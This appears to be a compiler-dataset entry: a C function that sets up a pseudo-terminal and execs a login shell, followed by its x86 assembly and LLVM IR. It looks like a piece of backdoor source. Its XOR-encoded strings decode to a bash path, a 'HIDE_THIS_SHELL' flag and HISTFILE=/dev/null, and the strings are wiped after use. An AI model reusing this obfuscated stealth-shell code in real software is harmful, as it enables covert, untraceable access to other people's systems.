#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ SIGCHLD;
int /*<<< orphan*/ SIGHUP;
int /*<<< orphan*/ SIG_DFL;
int /*<<< orphan*/ TIOCSCTTY;
int /*<<< orphan*/ cleanup(char *, int /*<<< orphan*/);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, char **);
int /*<<< orphan*/ ioctl(int, int /*<<< orphan*/);
int /*<<< orphan*/ setsid();
int /*<<< orphan*/ signal(int /*<<< orphan*/, int /*<<< orphan*/);
char *strdup(char *);
int /*<<< orphan*/ strlen(char *);
int /*<<< orphan*/ x(char *);
void setup_pty(int sock, int *pty, int *tty) {
  ;
  char *args[] = {strdup("\xd1\x9c\x97\x90\xd1\x9c\x9f\x8d\x96"), "-l", 0};
  char *env[] = {strdup("\xb6\xb7\xba\xbb\xa1\xaa\xb6\xb7\xad\xa1\xad\xb6\xbb"
                        "\xb2\xb2\xc3\x8e\x92\x9b\x9f\x8d\x9b"),
                 strdup("\xb6\xb7\xad\xaa\xb8\xb7\xb2\xbb\xc3\xd1\x9a\x9b\x88"
                        "\xd1\x90\x8b\x92\x92"),
                 strdup("\xaa\xbb\xac\xb3\xc3\x86\x8a\x9b\x8c\x93"), 0};
  close(0);
  close(1);
  close(2);
  close(*pty);
  close(sock);
  setsid();
  ioctl(*tty, TIOCSCTTY);
  signal(SIGHUP, SIG_DFL);
  signal(SIGCHLD, SIG_DFL);
  dup2(*tty, 0);
  dup2(*tty, 1);
  dup2(*tty, 2);
  x(args[0]);
  x(env[0]);
  x(env[1]);
  x(env[2]);
  execve(args[0], args, env);
  cleanup(args[0], strlen(args[0]));
  cleanup(env[0], strlen(env[0]));
  cleanup(env[1], strlen(env[1]));
  cleanup(env[2], strlen(env[2]));
}


x86 assembly (clang, -O0):
<setup_pty>:
push   %rbp
mov    %rsp,%rbp
sub    $0x70,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    %rdx,-0x18(%rbp)
lea    0xe46(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,-0x30(%rbp)
lea    0xe40(%rip),%rax
mov    %rax,-0x28(%rbp)
movq   $0x0,-0x20(%rbp)
lea    0xe30(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,-0x50(%rbp)
lea    0xe37(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,-0x48(%rbp)
lea    0xe3a(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,-0x40(%rbp)
movq   $0x0,-0x38(%rbp)
xor    %edi,%edi
call   1070 <close@plt>
mov    $0x1,%edi
call   1070 <close@plt>
mov    $0x2,%edi
call   1070 <close@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%edi
call   1070 <close@plt>
mov    -0x4(%rbp),%edi
call   1070 <close@plt>
mov    $0x0,%al
call   1080 <setsid@plt>
mov    -0x18(%rbp),%rax
mov    (%rax),%edi
mov    0x2d78(%rip),%rax
mov    (%rax),%esi
call   1060 <ioctl@plt>
mov    0x2d92(%rip),%rax
mov    (%rax),%edi
mov    0x2d69(%rip),%rax
mov    (%rax),%esi
call   10a0 <signal@plt>
mov    0x2d6b(%rip),%rax
mov    (%rax),%edi
mov    0x2d52(%rip),%rax
mov    (%rax),%esi
call   10a0 <signal@plt>
mov    -0x18(%rbp),%rax
mov    (%rax),%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%rax
mov    (%rax),%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    -0x18(%rbp),%rax
mov    (%rax),%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
mov    -0x30(%rbp),%rdi
call   1030 <x@plt>
mov    -0x50(%rbp),%rdi
call   1030 <x@plt>
mov    -0x48(%rbp),%rdi
call   1030 <x@plt>
mov    -0x40(%rbp),%rdi
call   1030 <x@plt>
mov    -0x30(%rbp),%rdi
lea    -0x30(%rbp),%rsi
lea    -0x50(%rbp),%rdx
call   1090 <execve@plt>
mov    -0x30(%rbp),%rax
mov    %rax,-0x70(%rbp)
mov    -0x30(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x70(%rbp),%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    -0x50(%rbp),%rax
mov    %rax,-0x68(%rbp)
mov    -0x50(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x68(%rbp),%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    -0x48(%rbp),%rax
mov    %rax,-0x60(%rbp)
mov    -0x48(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x60(%rbp),%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    -0x40(%rbp),%rax
mov    %rax,-0x58(%rbp)
mov    -0x40(%rbp),%rdi
call   1040 <strlen@plt>
mov    -0x58(%rbp),%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
add    $0x70,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<setup_pty>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x48,%rsp
mov    %rdx,%rbx
mov    %rsi,%r15
mov    %edi,%ebp
lea    0xe43(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,%r14
mov    %rax,0x30(%rsp)
lea    0xe39(%rip),%rax
mov    %rax,0x38(%rsp)
movq   $0x0,0x40(%rsp)
lea    0xe27(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,0x28(%rsp)
mov    %rax,(%rsp)
lea    0xe29(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,%r12
mov    %rax,0x8(%rsp)
lea    0xe28(%rip),%rdi
call   10c0 <strdup@plt>
mov    %rax,%r13
mov    %rax,0x10(%rsp)
movq   $0x0,0x18(%rsp)
xor    %edi,%edi
call   1070 <close@plt>
mov    $0x1,%edi
call   1070 <close@plt>
mov    $0x2,%edi
call   1070 <close@plt>
mov    (%r15),%edi
call   1070 <close@plt>
mov    %ebp,%edi
call   1070 <close@plt>
xor    %eax,%eax
call   1080 <setsid@plt>
mov    (%rbx),%edi
mov    0x2d69(%rip),%rax
mov    (%rax),%esi
call   1060 <ioctl@plt>
mov    0x2d83(%rip),%rax
mov    (%rax),%edi
mov    0x2d5a(%rip),%rbp
mov    0x0(%rbp),%esi
call   10a0 <signal@plt>
mov    0x2d5b(%rip),%rax
mov    (%rax),%edi
mov    0x0(%rbp),%esi
call   10a0 <signal@plt>
mov    (%rbx),%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    (%rbx),%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    (%rbx),%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
mov    %r14,%rdi
call   1030 <x@plt>
mov    0x28(%rsp),%rdi
call   1030 <x@plt>
mov    %r12,%rdi
call   1030 <x@plt>
mov    %r13,%rdi
call   1030 <x@plt>
lea    0x30(%rsp),%rsi
mov    %rsp,%rdx
mov    %r14,%rdi
call   1090 <execve@plt>
mov    0x30(%rsp),%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    (%rsp),%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    0x8(%rsp),%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
mov    0x10(%rsp),%rbx
mov    %rbx,%rdi
call   1040 <strlen@plt>
mov    %rbx,%rdi
mov    %eax,%esi
call   10b0 <cleanup@plt>
add    $0x48,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
@.str = [10 x i8] c"\D1\9C\97\90\D1\9C\9F\8D\96\00"
@.str.1 = [3 x i8] c"-l\00"
@.str.2 = [23 x i8] c"\B6\B7\BA\BB\A1\AA\B6\B7\AD\A1\AD\B6\BB\B2\B2\C3\8E\92\9B\9F\8D\9B\00"
@.str.3 = [19 x i8] c"\B6\B7\AD\AA\B8\B7\B2\BB\C3\D1\9A\9B\88\D1\90\8B\92\92\00"
@.str.4 = [11 x i8] c"\AA\BB\AC\B3\C3\86\8A\9B\8C\93\00"
@TIOCSCTTY = global i32 0
@SIGHUP = global i32 0
@SIG_DFL = global i32 0
@SIGCHLD = global i32 0
define void @setup_pty(i32 %0, i32* %1, i32* %2) {
%4 = alloca i32
%5 = alloca i32*
%6 = alloca i32*
%7 = alloca [3 x i8*]
%8 = alloca [4 x i8*]
store i32 %0, i32* %4
store i32* %1, i32** %5
store i32* %2, i32** %6
%9 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%10 = call i8* @strdup(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
store i8* %10, i8** %9
%11 = getelementptr inbounds i8*, i8** %9, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8** %11
%12 = getelementptr inbounds i8*, i8** %11, i64 1
store i8* null, i8** %12
%13 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 0
%14 = call i8* @strdup(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0))
store i8* %14, i8** %13
%15 = getelementptr inbounds i8*, i8** %13, i64 1
%16 = call i8* @strdup(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0))
store i8* %16, i8** %15
%17 = getelementptr inbounds i8*, i8** %15, i64 1
%18 = call i8* @strdup(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0))
store i8* %18, i8** %17
%19 = getelementptr inbounds i8*, i8** %17, i64 1
store i8* null, i8** %19
%20 = call i32 @close(i32 0)
%21 = call i32 @close(i32 1)
%22 = call i32 @close(i32 2)
%23 = load i32*, i32** %5
%24 = load i32, i32* %23
%25 = call i32 @close(i32 %24)
%26 = load i32, i32* %4
%27 = call i32 @close(i32 %26)
%28 = call i32 (...) @setsid()
%29 = load i32*, i32** %6
%30 = load i32, i32* %29
%31 = load i32, i32* @TIOCSCTTY
%32 = call i32 @ioctl(i32 %30, i32 %31)
%33 = load i32, i32* @SIGHUP
%34 = load i32, i32* @SIG_DFL
%35 = call i32 @signal(i32 %33, i32 %34)
%36 = load i32, i32* @SIGCHLD
%37 = load i32, i32* @SIG_DFL
%38 = call i32 @signal(i32 %36, i32 %37)
%39 = load i32*, i32** %6
%40 = load i32, i32* %39
%41 = call i32 @dup2(i32 %40, i32 0)
%42 = load i32*, i32** %6
%43 = load i32, i32* %42
%44 = call i32 @dup2(i32 %43, i32 1)
%45 = load i32*, i32** %6
%46 = load i32, i32* %45
%47 = call i32 @dup2(i32 %46, i32 2)
%48 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%49 = load i8*, i8** %48
%50 = call i32 @x(i8* %49)
%51 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 0
%52 = load i8*, i8** %51
%53 = call i32 @x(i8* %52)
%54 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 1
%55 = load i8*, i8** %54
%56 = call i32 @x(i8* %55)
%57 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 2
%58 = load i8*, i8** %57
%59 = call i32 @x(i8* %58)
%60 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%61 = load i8*, i8** %60
%62 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%63 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 0
%64 = call i32 @execve(i8* %61, i8** %62, i8** %63)
%65 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%66 = load i8*, i8** %65
%67 = getelementptr inbounds [3 x i8*], [3 x i8*]* %7, i64 0, i64 0
%68 = load i8*, i8** %67
%69 = call i32 @strlen(i8* %68)
%70 = call i32 @cleanup(i8* %66, i32 %69)
%71 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 0
%72 = load i8*, i8** %71
%73 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 0
%74 = load i8*, i8** %73
%75 = call i32 @strlen(i8* %74)
%76 = call i32 @cleanup(i8* %72, i32 %75)
%77 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 1
%78 = load i8*, i8** %77
%79 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 1
%80 = load i8*, i8** %79
%81 = call i32 @strlen(i8* %80)
%82 = call i32 @cleanup(i8* %78, i32 %81)
%83 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 2
%84 = load i8*, i8** %83
%85 = getelementptr inbounds [4 x i8*], [4 x i8*]* %8, i64 0, i64 2
%86 = load i8*, i8** %85
%87 = call i32 @strlen(i8* %86)
%88 = call i32 @cleanup(i8* %84, i32 %87)
ret void
}

LLVM IR (-O2):
@.str = [10 x i8] c"\D1\9C\97\90\D1\9C\9F\8D\96\00"
@.str.1 = [3 x i8] c"-l\00"
@.str.2 = [23 x i8] c"\B6\B7\BA\BB\A1\AA\B6\B7\AD\A1\AD\B6\BB\B2\B2\C3\8E\92\9B\9F\8D\9B\00"
@.str.3 = [19 x i8] c"\B6\B7\AD\AA\B8\B7\B2\BB\C3\D1\9A\9B\88\D1\90\8B\92\92\00"
@.str.4 = [11 x i8] c"\AA\BB\AC\B3\C3\86\8A\9B\8C\93\00"
@TIOCSCTTY = global i32 0
@SIGHUP = global i32 0
@SIG_DFL = global i32 0
@SIGCHLD = global i32 0
define void @setup_pty(i32 %0, i32* nocapture %1, i32* nocapture %2) {
%4 = alloca [3 x i8*]
%5 = alloca [4 x i8*]
%6 = bitcast [3 x i8*]* %4 to i8*
%7 = getelementptr inbounds [3 x i8*], [3 x i8*]* %4, i64 0, i64 0
%8 = tail call dereferenceable_or_null(10) i8* @strdup(i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str, i64 0, i64 0))
store i8* %8, i8** %7
%9 = getelementptr inbounds [3 x i8*], [3 x i8*]* %4, i64 0, i64 1
store i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.1, i64 0, i64 0), i8** %9
%10 = getelementptr inbounds [3 x i8*], [3 x i8*]* %4, i64 0, i64 2
store i8* null, i8** %10
%11 = bitcast [4 x i8*]* %5 to i8*
%12 = getelementptr inbounds [4 x i8*], [4 x i8*]* %5, i64 0, i64 0
%13 = tail call dereferenceable_or_null(23) i8* @strdup(i8* getelementptr inbounds ([23 x i8], [23 x i8]* @.str.2, i64 0, i64 0))
store i8* %13, i8** %12
%14 = getelementptr inbounds [4 x i8*], [4 x i8*]* %5, i64 0, i64 1
%15 = tail call dereferenceable_or_null(19) i8* @strdup(i8* getelementptr inbounds ([19 x i8], [19 x i8]* @.str.3, i64 0, i64 0))
store i8* %15, i8** %14
%16 = getelementptr inbounds [4 x i8*], [4 x i8*]* %5, i64 0, i64 2
%17 = tail call dereferenceable_or_null(11) i8* @strdup(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0))
store i8* %17, i8** %16
%18 = getelementptr inbounds [4 x i8*], [4 x i8*]* %5, i64 0, i64 3
store i8* null, i8** %18
%19 = tail call i32 @close(i32 0)
%20 = tail call i32 @close(i32 1)
%21 = tail call i32 @close(i32 2)
%22 = load i32, i32* %1
%23 = tail call i32 @close(i32 %22)
%24 = tail call i32 @close(i32 %0)
%25 = tail call i32 (...) @setsid()
%26 = load i32, i32* %2
%27 = load i32, i32* @TIOCSCTTY
%28 = tail call i32 @ioctl(i32 %26, i32 %27)
%29 = load i32, i32* @SIGHUP
%30 = load i32, i32* @SIG_DFL
%31 = tail call i32 @signal(i32 %29, i32 %30)
%32 = load i32, i32* @SIGCHLD
%33 = load i32, i32* @SIG_DFL
%34 = tail call i32 @signal(i32 %32, i32 %33)
%35 = load i32, i32* %2
%36 = tail call i32 @dup2(i32 %35, i32 0)
%37 = load i32, i32* %2
%38 = tail call i32 @dup2(i32 %37, i32 1)
%39 = load i32, i32* %2
%40 = tail call i32 @dup2(i32 %39, i32 2)
%41 = tail call i32 @x(i8* %8)
%42 = tail call i32 @x(i8* %13)
%43 = tail call i32 @x(i8* %15)
%44 = tail call i32 @x(i8* %17)
%45 = call i32 @execve(i8* %8, i8** %7, i8** %12)
%46 = load i8*, i8** %7
%47 = call i32 @strlen(i8* %46)
%48 = call i32 @cleanup(i8* %46, i32 %47)
%49 = load i8*, i8** %12
%50 = call i32 @strlen(i8* %49)
%51 = call i32 @cleanup(i8* %49, i32 %50)
%52 = load i8*, i8** %14
%53 = call i32 @strlen(i8* %52)
%54 = call i32 @cleanup(i8* %52, i32 %53)
%55 = load i8*, i8** %16
%56 = call i32 @strlen(i8* %55)
%57 = call i32 @cleanup(i8* %55, i32 %56)
ret void
}